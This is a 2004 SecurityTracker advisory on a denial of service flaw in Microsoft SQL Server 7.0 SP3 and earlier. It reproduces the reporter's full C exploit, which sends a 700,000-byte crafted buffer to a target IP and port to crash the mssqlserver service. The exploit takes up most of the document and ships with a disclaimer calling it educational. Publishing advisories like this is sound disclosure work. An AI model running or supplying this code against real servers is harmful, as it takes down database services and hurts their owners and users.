Microsoft SQL Server Can Be Crashed By Remote Users Sending a Specially Crafted Large Buffer
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SecurityTracker Alert ID: 1011434
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SecurityTracker URL: http://securitytracker.com/id?1011434
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Sep 28 2004
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Impact: Denial of service via network
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Exploit Included: Yes
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Version(s): 7.0 SP3 and prior
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Description: securma massine reported a denial of service vulnerability in Microsoft SQL Server 7.0. A remote user can cause the target database service to crash.
It is reported that a remote user can supply a large buffer with specially crafted data to cause the 'mssqlserver' service to crash.
A
700000 byte buffer consisting of the following character string repeated can trigger the flaw:
\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc
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Impact: A remote user can cause the database service to stop.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.microsoft.com/ (Links to External Site)
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Cause: Exception handling error
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Underlying OS: Windows (NT), Windows (2000), Windows (2003), Windows (XP)
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Reported By: securma@caramail.com
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Message History:
None.
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Source Message Contents
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Date: Mon, 27 Sep 2004 23:52:37 GMT
From: securma@caramail.com
Subject: MSSQL 7.0 DoS
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/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
* By sending a large buffer with specified data an attacker can stop
the service
* "mssqlserver" the error noticed is different according to services'
pack but the result is always
* the same one.
* Exception Codes = c0000005
* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3
* This code is for educational purposes, I am not responsible for your acts
* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
u_long resolv(char*);
void main(int argc, char **argv) {
WSADATA WinsockData;
SOCKET s;
int i;
struct sockaddr_in vulh;
char buffer[700000];
for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc
\xcc\xcc\xcc",16);
if (argc!=3) {
printf(" MSSQL denial of service\n");
printf(" by securma massine\n");
printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
responsable des degats que vous pouvez en faire\n");
printf("Syntaxe: MSSQLdos <ip> <port>\n");
exit(1);
}
WSAStartup(0x101,&WinsockData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZeroMemory(&vulh,sizeof(vulh));
vulh.sin_family=AF_INET;
vulh.sin_addr.s_addr=resolv(argv[1]);
vulh.sin_port=htons(atoi(argv[2]));
if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
printf("Impossible de se connecter...le port est en generale 1433...\n");
exit(1);
}
{
send(s,buffer,sizeof(buffer),0);
printf("Data envoyes...\n");
}
printf("\nattendez quelques secondes et verifiez que le serveur ne
repond plus.\n");
closesocket(s);
WSACleanup();
}
u_long resolv(char *host_name) {
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1) {
if (!(host_ent = gethostbyname(host_name))) {
printf ("Erreur DNS : Impossible de résoudre l'adresse %s
!!!\n",host_name);
exit(1);
}
CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
}
return addr.s_addr;
}
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